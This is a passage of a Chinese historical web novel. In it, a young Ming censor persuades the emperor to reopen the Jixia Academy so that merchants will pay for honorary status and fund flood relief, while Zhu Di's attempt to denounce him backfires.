他瞪大眼睛不可思议地看向朱煐..... 而此时不光是张平惊呆了,一旁的方孝孺同样也是一脸的震撼。 重开稷下学宫? 还招商贾? “朱御史,你是想以此来筹钱?” 方孝孺和张平都已经听出了朱煐说出这番话的言下之意。 朱煐也没有藏着掖着点了点头道:“自古以来,士农工商,而今天下陛下登基之后更甚,陛下认为商贾不事生产,不利管理,欺诈百姓,是以对商贾多有制约,致使商贾虽然有钱可地位上并没有与财富所匹配。” “我这一计便是对症下药。不知方大人以为此计如何?” 嘶! 方孝孺倒吸了一口气,摇头苦笑道:“也就朱御史你能想出这样的法子,谁能想到这筹钱还能这么筹?” 朱煐摇了摇头:“不是我的计策高明,这等事古来有之,我也只是照抄借鉴而已。” “古来有之?” “不是老大,我这怎么也没听说过古来谁重开了稷下学宫了啊?”张平有些无语。 咱也算是饱读诗书,这古来有之的事情,咱咋就不知道? 朱煐瞅了张平一眼,笑道:“这重点是重开稷下学宫吗?” “这只是个由头而已,是给商贾一个希望,而之所以叫稷下学宫,只是因为这玩意儿名头大些,这说出去不也好听吗?” “你看过我写的三国演义就该知道东汉末年卖官售爵之事。” “这所谓的稷下学宫其实也没什么区别,只是这卖官售爵终究隐患太大,表面上卖的是官售的是爵,实际上买卖的是权力,是招兵买马的权力,所以天下因此而伤,而我买卖的只是虚无缥缈的名分,名气,让商贾花点钱,让朝廷来承认商贾对朝廷的贡献,将商贾的地位提升到与普通人平齐的程度。” “买卖的东西不同,可原理相同。” “若是卖官售爵陛下肯定是不可能答应,可要只是说这开设学宫,我想以这三寸之舌说服陛下,并非难事。” “怎么样?你们觉得这个想法如何?” 朱煐笑看向方孝孺和张平..... 方孝孺和张平相互互视了一眼,两人的脸色也开始变得严肃。 “老大,我这就出去散步消息。” “朱御史,我有个不情之请,你看....?” 方孝孺欲言又止。 而方孝孺的扭捏让原本都已经准备出门散步消息的张平也停下了脚步,扭头看向方孝孺。 “我说老方,你有什么事情就直说呗,都自己人,这儿又没外人。”张平道。 方孝孺一咬牙,冲朱煐道:“朱御史,我老方在汉中府的时候也是担任汉中府教授,腹中也算是有些才学,门下弟子也有不少,不知这稷下学宫开了之后,可否给个博士之位?这名传千古的稷下学宫,我这也是想入得紧呐......” 方孝孺说完之后长舒了口气。 他性格刚正,这走后门的话让他亲口说出来还真是有些为难人了。可....这稷下学宫的博士,诱惑可太大了啊.... “噗!” 看着方孝孺憋红了脸说出的这话,张平绷不住了。 不过旋即反应了过来,赶忙眼巴巴地看向朱煐.... ...... 另一边。 东宫。 朱允炆退朝之后神清气爽地回到了东宫,并将今日朝上的事情事无巨细地都给母亲吕氏给详细地讲了一遍。 吕氏既是朱允炆的娘,但同时也是他背后最主要的军师。 大部分的事情都是吕氏帮着谋划规划。 黄子澄和齐泰虽然也是朱允炆的谋臣,可毕竟不能时时刻刻在身边,他们毕竟还是老朱的臣子,不能做的太过分,万一落人口舌那将会是个麻烦事。 所以基本上的事情都是吕氏给朱允炆谋划。 朱允炆也会将每日朝中的大事小情告知吕氏,尤其是在朱标去世之后,母子二人几乎是每天都在努力做功课,揣测老朱的心思。 朱允炆将今日早朝上发生的事情跟吕氏给讲述了一遍。 吕氏认真地听完后看着朱允炆,脸上满是欣慰。 “儿啊,你今天做的很不错。” “这才像是大明未来的储君。” “成大事者不拘小节,一些小事不要放在心上,朱煐此人确有才干,这样的人才留作己用,收服是最好的选择,只要你得位正统,是你皇爷爷给你的这个位置,那以这朱煐的性子,只会更加坚定地支持你!” “不错母后,孩儿也是这么想的!” “等朱御史此次筹钱不利被皇爷爷问责的时候,孩儿就出口相救,哪怕是被皇爷爷打上一顿也值了!” 吕氏点了点头:“你能这么想就好,不过还不够!” “这样,娘这里还有些省下来的银子,还有一些不是宫里的首饰,你把这些东西都给归整归整,首饰拿去卖一卖,等到时候朱御史筹措不到钱了,你再把这些钱给他,钱不多却能收买人心。” “须知,这锦上添花容易,雪中送炭难,可偏偏这雪中送炭最为收纳人心。” “孩儿明白了!娘亲放心,孩儿这就去办!” 朱允炆没有半点推辞,取了吕氏的首饰和银钱就出宫去了..... ...... 而与此同时。 一则消息悄然在应天府不胫而走..... 这消息的来源不知道是哪里,也不知道是哪里传出来的消息,大家都是听人说,可偏偏这消息传的有模有样绘声绘色。 ——朱煐朱御史想让陛下重开稷下学宫,广纳天下英才,不论出身! 这消息流传出出来没多久,整个应天府就彻底轰动了! 原本平静的京城仿佛就像是一波平静的水面被砸入了一块巨大的势头,掀起了一阵阵波澜。 京城的百姓本就乐忠于谈论八卦,这消息一经流出,顿时全城百姓都不由沸腾! 勾栏酒肆,几乎所有人都在议论着这件事。 无他,这稷下学宫四个字的名头实在太大,大到所有人都为之骇然! 这可是稷下学宫啊! 诸子百家曾经于此论道,名声响彻整个战国! 学宫的名头所引起的影响比朱煐预想中的还要更加夸张! 几乎只是过了短短半天的时间,这消息就传遍了整个京城! 整个京城都轰动了! 而自然,这消息在传遍京城的同时,锦衣卫的一封情报自然也就递交到了老朱的案头..... 当正在御书房批阅奏章的老朱打开了情报,脸色顿时变得古怪起来..... 咱要重开稷下学宫? 不是,这咱怎么不知道? 老朱不由扶额,看向蒋瓛:“这消息哪里传出来的可曾查明?” 蒋瓛苦笑道:“陛下,这不用查,这消息就是出自朱御史之手,是张侍郎亲自散步的消息。” 老朱:“......” 这要是换个人,一个假传圣旨的罪名指定是得扣下了,可做这事儿的是自己的这大孙,老朱顿时一下给干沉默了..... 第59章 老朱:咱有一计! “这....” 老朱的脸色有些微微难看..... “这臭小子就没有背着点人吗?这般容易就被查出来了?” 老朱只感觉有些无奈.... “启禀陛下,您什么时候见过朱御史他做事背着人了?他素来光明正大,从不遮掩的.....” 老朱:“......” “陛下,不知接下来是....该如何行事?”蒋瓛的眼神不由撇向老朱.... “如何行事?这还能如何行事?赶紧给补个圣旨啊,不能让外人找到咱大孙的把柄。不过咱孙也是的,这么大的事情也不晓得和咱商量一番,重开稷下学宫?亏他想得出来!” “还让咱当祭酒?” 老朱也不由得老脸微微一红,他虽然在当上皇帝之后重新进行了一番学习,不说是博通古今却也算的上是能够识文断字了,可要说当着稷下学宫的祭酒,这还是过于勉强了一些。 不过老朱向来脸皮厚,这转念一想,就也不放在心里了。 “陛下,许是朱御史他并未真想立这什么稷下学宫,或许只是托词,否则臣以为朱御史他再如何也该入宫同陛下商议的,毕竟这般大事,未有圣旨请示,难以功成,陛.....” 蒋瓛的话尚未说完,忽的,门外响起了朱煐的声音..... “臣朱煐,求见陛下!” “????” “?????” 朱煐突然的出现顿时让御书房里的蒋瓛和老朱不由一愣,蒋瓛的话还没说完呢,结果这说曹操曹操到,人就来了?朱煐的突然出现让两人面面相觑,相视愕然。 “咳咳.....” 蒋瓛干咳两声以掩饰尴尬,毕竟刚刚还说着朱煐不会来呢,谁能想到这打脸来得这么快? “进来。” 随着老朱的话音落下,门外的朱煐推门而入.... “臣朱煐,见过陛下。” “免礼吧,不知朱御史前来,所为何事?” 老朱的心里已经有了猜测,不过他还是好奇地看向朱煐,难不成咱这大孙,真要重开那稷下学宫不成? 朱煐没有回答,而是看了眼一旁的蒋瓛。 “陛下,既然蒋指挥使在此,想必臣散布的消息陛下已经得知了吧?” 老朱点了点头:“你说的事重开稷下学宫之事吧?不错,刚刚蒋瓛才把此事禀报给咱,说是你的主意,你可是有自己的考量?” 朱煐古怪地瞥了眼老朱。 “陛下,您难道不怪臣的欺君之罪吗?” “臣这也算是假传圣旨,未曾提前知会陛下....” “呃这....” 老朱顿时语塞。 当即老朱看向一旁的蒋瓛。 他可不想治朱煐的欺君之罪,可朱煐眼下这般问却把老朱给逼到了进退两难的境地。 “陛下,臣以为朱御史既然是放话出去,那自然有自己的考量,更何况朱御史只是说要重开稷下学宫,可这不是也没有开嘛!暂时都还在理论阶段,眼下入宫来求见陛下,想必就是为了此事,这是向陛下您请旨来了,又何谈欺君之罪?” 蒋瓛的脑子飞快转动,发挥出了自认为的极智。 “对!不错!咱就是这么想的。” 老朱眼前一亮当即附和。 “蒋指挥使所言不错,朱爱卿不必多想,你还是和咱好好说说这稷下学宫之事吧。咱知道,你不是一个无的放矢,肆意胡来的人,既然你提出这个想法,想必也是有着你自己的缘由。可是如此?” 朱煐:“.....” 果然,老朱这丫的还是一如既往地大度,真是拿这老小子一点办法都没有..... 朱煐早已经习惯了老朱的大度,这是个宽宏大量的皇帝,果然,哪怕是自己假传圣旨,依旧没有受到任何的惩处。 还好自己并未在这上面抱有希望。 这段时日以来,朱煐已经学会了一件事,那就是放低期待。 只要把期待放低,那就不会出现失望的情况。 没有对老朱抱有期望,那自然也就不会有失望。 “陛下英明,臣确有自己的想法。” 朱煐拱手冲着老朱说道。 还好自己并非是想靠着这所谓的欺君之罪完成任务,对于激怒老朱,咱另有办法。 老朱冲着朱煐笑道:“既然有想法,那就大胆说,咱听着呢。蒋瓛你说是吧?” “陛下所言甚是,朱御史既然主动开口,想来是非同凡响。” 蒋瓛不找痕迹地拍了个马屁。 这马屁可算是拍到了老朱的马眼上了,老朱呵呵一笑。 老朱和蒋瓛纷纷看向朱煐。 朱煐也不藏着掖着,当即便说出了自己的想法。 “陛下,臣想重开这稷下学宫,并非是为了这稷下学宫本身,而是想借此筹集湖广抗灾的钱粮。” “先前臣在朝堂上便有所思考,这商贾手上有钱,而想要从他们手上弄到钱唯一的办法就是给他们想要的东西,而这个东西又得是朝廷能接受且能给出去,且对于朝廷而言无伤大雅的东西。” “臣之所以不选从士绅大族手中筹集钱粮,而选商贾,便是为此。” “士绅大族有钱,有势,有名,他们都是有头有脸的人,想要从他们手里拿钱,如陛下先前一般稍稍恫吓即可获得不少的钱粮,可再想要更多就不成了,因为他们什么都不缺,他们只是单纯害怕失去。所以愿意拿出一部分破财消灾。” “相反,陛下恫吓的法子对商贾并不起作用的原因就在于这商贾根本就不怕失去!他们虽然有钱,可却无名,无权,甚至就连一些普通到百姓也能以鄙夷的目光视之。” “一些身价十万的商贾,甚至不如一个秀才让人看的起,这样的事情在民间屡见不鲜。” “朱爱卿,这商贾不事生产,只行那蝇营狗苟之事,鄙夷他们不是正常的吗?”显然,对于百姓鄙夷商贾,老朱并不反对,因为不仅仅是大明朝如此,大部分的朝代其实都是如此,士农工商,商排在最下层,几乎就属于贱籍,也就比奴籍稍好一些。 “陛下,这万事万物都得分两面性,无论是什么东西皆由好坏两面,就好似这朝堂上的诸公,并无纯粹的好坏之分,只是立场不同做出了不同选择,陛下既为君主,那就该知道,无论是好是坏,能为之所用便可用之。” “臣以为这商贾便可一用!他们的手中不缺钱粮,而偏偏他们又只有钱粮,无名无权,权力过于敏感,若是给商贾放权,怕是容易生乱,可要只是一些虚无缥缈的薄名,以此能换湖广万千百姓活命,臣以为,这笔买卖很划算,当做!” “不知陛下以为如何?” 朱煐说完,看向了老朱..... 而此时的老朱已经彻底愣在了原地.... 他顺着朱煐所说的思路思考,他震惊地发现,还真别说,倘若自己是商贾,说不定还真会用一些钱财换取一些名声,哪怕这名声毫无作用,这听上去好听也是一个很大的作用啊! 而且,真要是以此计而行,朝廷确实是空手套白狼,什么都没有付出啊! 这简直就是无本买卖! 而同时,老朱还在回味朱煐方才说的话..... “无论好坏,能为之所用便可用之?” “这话....嘶!” “咱大孙....当真是个天生当皇帝的料子!” 老朱眼前一亮,他当了皇帝这么多年,虽然没有说出过这话,可实际上却一直是按照这话说的做的,只要你对朝廷有用,那我就用!而一旦没有用了,那就不用,这就是老朱一直以来所奉行的话。 从胡惟庸到蓝玉,莫不如此,用得到时,老朱的容忍度极高,可一旦没有用了,老朱也不会心慈手软。 可这些....是咱这么多年才领悟出来的!可咱大孙....只是刚入朝,便有了如此觉悟? 考虑到朱煐的年龄,老朱又更为骇然! 自己这大孙子,还真是个天生当皇帝的好材料啊! “好!好一个以虚名换百姓,朱爱卿当真奇思妙想,此计咱以为可行!” “多谢陛下认可,臣此番入宫正是为了向陛下您讨一封圣旨,这稷下学宫得开,不光得开,还得开得好!” “臣是这就么考虑的,这商贾之力,既然这般大,那不如就当个长期的买卖来做,倘若这稷下学宫办的不行,我们只是敷衍了事,那商贾觉得朝廷只是为了坑骗他们的银两,并未真想给他们好处,等下回再想用就难了,与其如此,不如就一步到位,左右也不费什么事儿,陛下您以为呢?” 朱煐阐明自己的想法。 老朱拍手叫好:“这办法好!这一回生二回熟么,更何况这稷下学宫,这般大的名头,真要开办的话,咱也得往好了开办,要是办砸了,咱大明岂不成了后世笑柄了?” “这样吧,咱给你你一封旨意,咱下旨开办这稷下学宫,其他的还有什么要咱配合的你就和咱说,缺钱的话就找户部先支取一些,这做买卖么,还是得先投入一些的,得先掏出一些本钱放进去,这个咱还是懂的。” “陛下想岔了,臣只需要陛下点头开设学宫即可,至于这办学宫的钱就不用麻烦户部了,户部所剩的银钱不多,今年的正常开支怕是都不够了,这开设学宫的前臣已有计较,陛下不必担心。” “不需要户部出钱?”老朱不由蹙眉...... 一旁的蒋瓛也不由有些着急地开口劝道:“朱御史,你这有所不知,开设学宫所需银钱非是个小数目,若是户部不出手,这些银两筹措起来当真是个麻烦事啊!你若是想卖你那宅子开设学宫的话,怕也还是有所不足,还朱御史好好考量,千万莫要意气用事!” “是啊朱爱卿,咱赐你的那宅子是给你住的,虽然价值不菲,可真要开设学宫的话,这钱还是杯水车薪的,还是用户部的钱吧,先要取之必先予之,这点道理咱还是懂的,户部的银子虽然紧张,可挤挤还是有的嘛。”老朱也是由衷地劝说。 朱煐笑了,摆摆手道:“陛下,蒋指挥使,你们想错了,我这好好的卖什么宅子啊!” “这稷下学宫开设所需花费自有来路,无需朝廷出钱。” “这.....” 老朱蹙眉,欲言又止。 蒋瓛深谙老朱的心中所想,当即代替老朱开口询问:“朱御史,你说的这来路是.....?” “商贾啊!我们这稷下学宫既然是给商贾开设的,那咱又不是什么滥好人,不得用他们自己的钱修啊?” “陛下是学宫祭酒,在下不才,可为学宫博士之一,蒋指挥使你也可当学宫博士,这咱开办稷下学宫该领薪水才是,怎么会要我们掏钱呢?陛下,蒋指挥使,你们说是吧?” “啊....这...?” 老朱愣住了..... 蒋瓛也是怔住了..... 两人愣在原地,目瞪口呆..... “这...这咱倒是还真没往这个方向想过....貌似....好像...也行?” 老朱也是被朱煐的这个思路给惊到了。 这用开设稷下学宫弄商贾手里钱也就罢了,这开设学宫的钱还要从商贾手里拿? 什么时候这商贾的钱这么好拿了? 可仔细一分析,老朱却又感觉貌似不是不可行的样子..... 这话听得倒是挺有道理的,可怎么结果就有点子不好理解呢? 蒋瓛稍稍愣神之后缓过劲来,而后便涨红了脸。 他看向朱煐,有些不可思议:“朱御史,你方才说.....我可以入稷下学宫当博士?” “可蒋某一介武夫,这舞文弄墨之事并不擅长,会不会....不太好啊?” 蒋瓛内心深处对于这学宫博士之位自然是千想万想。 这可是稷下学宫啊! 名垂千古的稷下学宫博士!这是什么地位! 而自己,只是一个臭名昭著的锦衣卫头头.....咱配吗? 蒋瓛扪心自问,而毋庸置疑哪怕是自己问自己,自己给自己找了很多的理由,最终心里得出的结论还是——不配! 这稷下学宫博士,何等崇高的身份?我蒋瓛不配啊! 可他的内心深处还是涌动着一股子渴望与希望,于是也就有了眼前的这一幕,蒋瓛眼巴巴地看着朱煐..... 老朱也看向了朱煐,眉头微微一蹙:“蒋瓛就算了吧,一介武夫入了学宫,传出去倒也确实让人笑话,此事强求不得。” 老朱的话让原本内心深处存着一丝丝希奕的蒋瓛顿时死了心,脸色一暗。 是啊,陛下说的对啊,咱只是一个锦衣卫指挥使,只会挥舞刀子,这高大上的稷下学宫博士之位,又如何配得上呢? 那得是天下鸿儒才能配得上的......那再也不济也该是朝中学富五车的官员吧? 想到这,蒋瓛心里默默一叹..... “陛下此言差矣。” 然而就在蒋瓛心中默默失落之际,朱煐忽的开口。 他一脸正色地看着老朱。 “陛下,这稷下学宫的开设本就不该存在什么高下之分,臣想重复古时百家争鸣之风采,商贾有商贾的作用,就比如今日湖广遭灾,陛下就想要商贾出钱。可要商贾出钱却又鄙夷商贾,臣以为此举不妥。” “在臣看来,这天下间的人事物皆有其用,就好似汉高祖刘邦曾言,其谋不如张良,其兵者不如韩信,其布粮不如萧何,勇不如项羽,可他却开创了大汉,为何?因为他知人善用,天下英才尽入其股中。” “无论是商贾亦或是武夫,都有他们的用处,既然是有用之人,又何必区分高下,尽入稷下学宫,皆成天子门生,日后陛下若有所需,用起来也能更加方便些,就不必像此次一般如此麻烦。” “再说蒋指挥使,他臭名昭著,在外也算是遗臭多年,就连他这般人物,都因身有所长成了博士,那商贾岂不是更加放心了?” 朱煐一脸坦然地指着一旁的蒋瓛冲老朱说道。 蒋瓛闻言脸色涨红,朱煐的这番话,说的倒是没有毛病,好像确实也是再替自己说话,可这话听着.....怎么就这么不得劲呢....? “蒋指挥使你别介意,话糙理不糙,你说是吧?” 蒋瓛:“.....” “无妨,朱御史本就是实言,不在意,我一点也不在意。” 蒋瓛露出了个比哭还难看的笑容。 他自然不敢介意朱煐,他可是除了老朱之外唯一知道这位爷身份的人了,这谁敢介意啊? 第60章 朱棣:我才是您儿子啊! “眼下朝廷紧缺,又逢湖广大灾,哪来的钱粮让他去开这什么稷下学宫?” “此事父皇他定然不知,父皇不知却又弄的这满城风雨,这朱煐胆大包天,已有取死之道!” “道衍,你以为呢?” “王爷,我看此人并非易与之辈,既然传出这个消息自然是有他自己的筹谋。”道衍和尚接过朱棣递过来的信纸仔细看了一遍,眉头微皱后指着信纸一处道:“王爷你看,这散步出来的消息中说了,这稷下学宫商贾之家亦可入内。” “若是贫僧没有记错的话,王爷你说过今日朝会上这位朱御史接下了筹措赈灾钱粮的差事?而且想要从商贾的手中筹措银两?” “此二者若是贫僧没有猜错的话,应该有不小联系。” “我知道。不过本王认为他还是假传圣旨。” “父皇不会放任他这般胡闹的。” “且不说这稷下学宫能不能让商贾掏钱,关键这修稷下学宫本身就需要不少银钱,哪怕是这学宫能让商贾掏钱,那也是在修筑学宫之后的事,此前开设学宫的钱得贴进去,这可是一大笔的钱,以他一个人如何拿出?因此必然要从朝廷垫付。” “户部今年的银子本就不够了,又哪里来的闲钱去开设这什么稷下学宫?” 朱棣微微一笑,说出了自己的分析,同时手中的黑棋落在了棋盘上,杀了几颗白子。 朱棣将杀死的棋子一颗颗捡了出来,道衍和尚却是皱起了眉头:“王爷你的意思是说这朱煐假传圣旨,实际上陛下并没有想开设稷下学宫?” “这是自然。”朱棣一脸的自信:“户部没有钱粮,如何开这稷下学宫?要是声势不够,丢的可不是他朱煐的脸面,以稷下学宫这四个字的威力,丢的是朝廷,是大明的脸面!” “所以我猜此事应该是朱煐这小子擅自做的主,这会儿父皇估计在宫中正大发雷霆呢。” “可这般又是为何?”道衍和尚一边反问一边落子,也杀了朱棣的几颗黑棋,两人的棋力相近,棋盘上的局势也并无明显的高下之分,可谓棋逢对手。 “为了湖广的赈灾粮款呗。” 朱棣微微一笑,他自认已经看穿了一切,扫了眼被道衍和尚看完后放在桌上的信纸笑道:“这小子倒是胆大包天,他应该是想假传圣旨借此哄骗商贾,等骗到了商贾银钱之后再向父皇请罪,看在他也是为了粮款,尽心尽力的份上,哪怕他是假传圣旨,想必父皇也不会苛责,啧啧啧,他这当真打的是一手好算盘啊。” 道衍和尚听着朱棣的分析,微蹙的眉头并未舒展。 朱棣看了眼道衍和尚:“怎么?还想不明白?” 道衍和尚摇了摇头:“并非想不明白,王爷的解释倒也是能够说得通,可贫僧总觉着,这里面好像还有什么不太对劲的地方.....” “这能有什么不对劲的地方?” “好了,算算时间也差不多了,这盘棋局先放着,本王先入宫一趟见见父皇。” “当日之仇,今日必报!他不是想先斩后奏吗?本王就先跟父皇告上一状,再将此事告之百官,给他来个骑虎难下,进退两难!” “这会儿他欺君之罪已经犯下,钱粮尚未筹集,此时上禀,这小子必死无疑!” 说罢朱棣径直起身。 不多时,他穿戴整齐,坐着车驾便向着皇宫方向去了..... 路上,朱棣的心情隐隐激动。 想到前些日子受到的奇耻大辱,哪怕是如今想来朱棣的心绪也难以平静。 奇耻大辱!奇耻大辱啊! 想自己堂堂燕王,就因为一点点小事,硬是被当着那么多百姓的面被打入了应天府府衙大牢?还一下就关押了整整了数日! 须知,自己可是大明开国的第一任燕王,日后在史书上那可真就是实打实地要留下扎实的一笔的,这下倒好了,这留下的一笔更扎实了,而且是臭名远扬,臭得扎实..... 此仇不报非君子,都是因为朱煐这个混蛋! 朱棣从未受过这般的委屈,今日总算是找到了机会! “看本王在父皇面前奏你一本,让你算计尽皆落空!” 朱棣自认从来就不是一个心善的人,以德报怨?门儿都没有! ....... 皇宫御书房内。 朱煐前脚刚走,老朱刚让蒋瓛去门外守着,自己准备继续批阅奏章。 大明国事繁多,近几年又是各地灾害频发,到处都有问题上奏。 有些是靠自身能力解决了问题的,上表阐述问题的同时也渴望得到嘉奖,对于这些奏章老朱看一眼之后就得让人去核实,真要是确有其事,那就嘉奖。 有的是上表请罪的,辖地出了问题,上表请罪,这其中又分确实刚正,自表其罪的官员,但也有是被人裹挟,被迫认罪的,这些也需要人去调查之后才能决断。 天下间的麻烦事全都汇聚到了老朱的这小小的案头。要不是老朱见多了人性,见惯了风浪,碰上这些个琐碎事,也得焦头烂额。 其实这就不难理解为什么历史上会出现那么多的听起来就荒诞的皇帝。 在他们的视角里,做的事情其实都是符合他们认知的,只是就和皇帝的金锄头一样,皇帝的认知受了视野的局限,周围人给皇帝编织出了一个迥异于常人的认知,而靠着这认知行事的皇帝做出来的行为自然也就迥异于常人,成为笑柄。 门外,蒋瓛刚在门口站定,就看到了行色匆匆的朱棣从远处一路快步走了过来。 “见过燕王殿下。” 蒋瓛看到朱棣须得行礼,朱棣看到蒋瓛,当即眼前一亮。 蒋瓛在这里也就意味着老朱在这里。 “蒋指挥使,父皇可在御书房?” 蒋瓛点了点头:“陛下正在屋内批阅奏章。王爷找陛下可有要事?” 蒋瓛好奇地看着朱棣。 却见朱棣神色一敛,他的脸色变得极为严肃。 朱棣点了点头:“本王找父皇确有要事,还请蒋指挥使通禀!” “燕王稍等,下官这就入内通传。” 蒋瓛当即入内通知了老朱。 而原本刚准备批阅奏章的老朱也因此不得不放下了手上的朱笔,眉头微蹙看向站在门口的身影.... “老四这家伙找咱能有什么要事?” “又要给咱整幺蛾子?” “罢了,让他进来吧,咱倒要听听是什么事。” “是。” 蒋瓛应命,随后将门外的朱棣带了进来。 关上御书房的房门之后,朱棣当即给老朱见礼。 “儿臣拜见父皇!” 对于朱棣的恭敬,老朱只是淡淡地扫了一眼:“听说你找咱有要事?” “什么要事直接说吧,咱这还有一堆奏章要批阅,忙着呢。” 老朱有些不耐烦地说道。 一旁的蒋瓛听着老朱的这话嘴角不由抽了抽。 这老朱对朱棣的态度恶劣倒是其次,主要是先前蒋瓛刚刚亲眼目睹了老朱对朱煐的态度,这两相比较之下,差距就显得有些太大了..... 面对老朱的态度,朱棣倒是并没有感觉有什么。 主要是从小到大都是这样,朱棣已经习惯了。 在他看来,老朱的脾气就是这样的脾气,子不嫌母丑,狗不嫌家贫的,老爹脾气不好,这有什么办法? 只是他不知道,这脾气,也分对谁..... “启禀父皇,今日儿臣于城中得悉一个流言,儿臣以为兹事体大,得通禀父皇一声,否则放任流言,恐有损我朝廷威信!有损我大明声誉!” 说着朱棣将一封重新自己书写信纸递给了老朱..... “哦?这般大事?” 老朱有些惊讶:“呈上来咱看看?” 老朱接过朱棣递上来的信纸,扫了一眼,然后面色如常地放到了桌案上,冲着朱棣挥了挥手:“行了,这事情你就不用操心了,从哪儿来就回哪儿去吧,前些日子的事情还没完呢,你好好反省!” “????” “?????” 原本在老朱接过信纸的时候朱棣面带笑意,心中夹杂着兴奋和激动。 可老朱的这一句话,顿时就把朱棣整个人都给干懵逼了.... 朱老四呆愣愣地站在原地,人当场怔住了..... 不是,这是怎么个情况? 父皇他看了这消息之后怎么是这个反应? ............ 一旁,蒋瓛也是一脸好奇地打量着老朱和朱棣这对父子,有些不明觉厉,可他却又不敢开口,只好在一旁默不作声地听着,同时结合有限散碎的信息进行推断和推测...... “父...父皇,这消息是朱御史散布的,儿臣已经查明,此事得管啊!倘若放任这谣言传出去,或能坑商贾一次,可却会致使朝廷威信尽失,有损我大明声誉啊!” 朱棣当即忍不住直言不讳。 老朱这才放下了手上的奏章,目光盯住了朱棣..... “咱说老四。” “你是不是闲的没事干了?” “你要是太闲了,咱让你去应天府大牢再蹲几天。” “难道你是觉着咱看不出你公报私仇?” 朱棣脸色一变,可话都已经说到了这个份上,当即一咬牙:“父皇,儿臣不服!” “你就算是把儿臣打入大牢,儿臣也要说!此事事关我大明声誉,绝不可放任这谣言乱传,朱煐此举,乃祸国之计!” “哦?好大的名头啊!祸国之计?” “老四,咱什么时候说了此事是谣言了?你已经查明?那咱倒是想问问了,你这是如何查明的?哦!莫不是你还在咱的京城安插了人手?” “蒋瓛!” “臣在!” “你去给咱查查,咱得知道知道老四这查明是如何查的,这稷下学宫就是咱下令重开的,看来你这查的也不明么!” 老朱眯着眼睛看着朱棣,眼中满是森然寒意..... 朱棣脸色骤变,老朱的话顿时让他原地坐蜡了.... 不是,这怎么会? “父皇,这户部不是缺钱吗?这稷下学宫重开需费不少银钱啊。” “这.....不是谣言?” 此时的朱棣依旧不敢相信。 他信心满满地来,可却万万没有想到居然会是这么个结果..... “怎么?你的意思是咱配合着朱御史来骗你了?” “行了,此事咱知道了,你回去歇着吧。” “日后就莫管闲事了,这次咱先不罚你,下回再要公报私仇,咱这个当爹的就得管教管教了。” 朱棣:“......” 看着一脸不耐烦的老朱,朱棣整个人怔在了原地.... 此时此刻,他感觉自己整个人都麻了.... 不是.... 这为什么? 明明自己胜券在握,明明..... 看到老朱那一脸的嫌弃,朱棣顿时感觉天塌了..... 父皇,我才是你的儿子啊!你这怎么净向着外人说话? 朱棣欲哭无泪,可这话他却又难以出口,要不然一顿毒打倒还好说,这要是刚出了应天府府衙大牢又给送进去.....那自己这燕王真就成大明彻头彻尾的笑料了...... 那可真就完犊子了..... 第61章 热血沸腾的朱樉 朱棣很郁闷。 他感觉自己和老爹之间出现了一道鸿沟。 不过转念一想,好吧,好像自己和老爹之间一直都存在着鸿沟....... 离开了御书房之后朱棣失魂落魄地回到府中。 道衍和尚已经恭候多时了。 “燕王可是又碰壁了?” 朱棣抬头看了眼面前的黑衣和尚,眉头微蹙。 “道衍,你早料到了?” 看着眼前道衍和尚一副早已料到的神情,朱棣不由一愣。 道衍和尚摇了摇头:“先前只是猜测,我只是想着,这朱御史并非寻常人,倘若是易与之辈那也不至于让王爷吃了那么大的亏了。既然并非易与之辈,又怎会留下这么大的漏洞?假传圣旨的罪名可不小,这漏洞还大,一个聪明人,是不会留下这么大的漏洞的。” “如果有,那就说明....此人在引蛇出洞,请君入瓮,是故意为之。” “王爷入宫可是出了什么变故?” 朱棣神色一暗点了点头道:“父皇说朱煐并未假传圣旨,重开稷下学宫确有其事,是父皇他应允的。” “这就难怪了。看来这位朱御史早就料到会有人拿此做文章,是以提前做好了准备。” 道衍和尚一副果然如此的表情,连连点头..... “此番入宫非但没有参到此人,反倒是被父皇给臭骂了一顿,此仇不报,本王心气难平!” “王爷息怒,这君子报仇十年不晚啊!” “如今此人风头正盛,又接着这湖广大灾筹措粮款一事,若是与他正面冲突,殊为不智,依贫僧看,还是得静待时机才是。” “你说的对!放心吧,本王晓得其中厉害!”朱棣眯起了眼睛:“本王又不是傻子。” “不过....要是等他筹措粮款不利,到时候可就别怪本王把这新账旧账全给一起清算了!” 朱棣恶狠狠地说道,心中愤懑难平。 从小到大,只有他让别人吃亏,哪里有过吃了别人这么大亏的时候? 在朱煐一人身上,这接二连三地吃大亏,朱棣算是彻彻底底记住了朱煐! 此时朱棣对朱煐的心情要是被朱煐知晓,怕是得高兴得大饮一杯好酒。 此刻朱棣对他的态度,正是他一直以来所渴求的!痛恨,怨恨!这是结下死仇的前兆啊! ...... 另一边。 秦王府。 朱樉自然也收到了这稷下学宫即将重开的消息,毕竟这消息眼下在张平的散布下整个京城都已经传遍了。 稷下学宫,这四个字的名头太大,太响亮,传播速度自然快得惊人! “先生,你说这消息是真是假?” 朱樉向面前的吕书匠虚心请教。 原本前些年朱樉在感受到麾下有谋士的好处之后他就已经意识到了有脑子的重要性,而如今在确定了日后要当贤王,感受到了肩头重重的压力之后,朱樉不光意识到了有脑子的重要性,还明白,自己得学着去用脑子! 他对吕书匠更加推崇尊敬了..... 吕书匠不语,只是皱着眉头,他打开消息看了一阵之后面色舒缓..... “先生,如何?可是看出了什么端倪?” 朱樉现在也学会察言观色了,他见吕书匠的面色舒缓,当即询问。 吕书匠抬头看向朱樉点了点头:“这端倪倒是没有看出来什么,消息真假也不知道,不过我却有个办法能让王爷知晓。” “办法?什么办法?” “王爷,您看这消息上提了,这重开稷下学宫一事是由朱御史牵头,陛下为祭酒,既然如此,您与朱御史私交也算可以,您何不直接去问问朱御史呢?” “消息真假,一问便知。” “对啊!” 朱樉顿时眼前一亮。 与其在这里猜来猜去,不如直接去问朱御史不就好了? “先生所言极是,本王这就去拜访朱大人去。” ....... 朱樉再一次感觉到了智慧的用处,有人在背后出谋划策,面前当真是一片坦途..... 很快他就带着随从拉着一些礼品来到了朱煐的府上拜访。 正巧撞上了在门外张望的这朱允熥。 “允熥?” “二叔?” 朱允熥抬头一看是朱樉,不由一愣:“您怎么来了?” “我怎么就不能来了?你二叔我与朱御史私交甚好,这日常拜访不是应该的吗?有什么好奇怪的?” “不过你怎么在这门口呢?看什么呢?” 朱樉与朱允熥原本并不相熟,只能说算是有血缘关系的陌生人,毕竟朱樉是藩王,早早就已经就藩去了封地,压根就不在应天府,而朱允熥则是一直身居东宫,两人之间根本没有接触的条件。 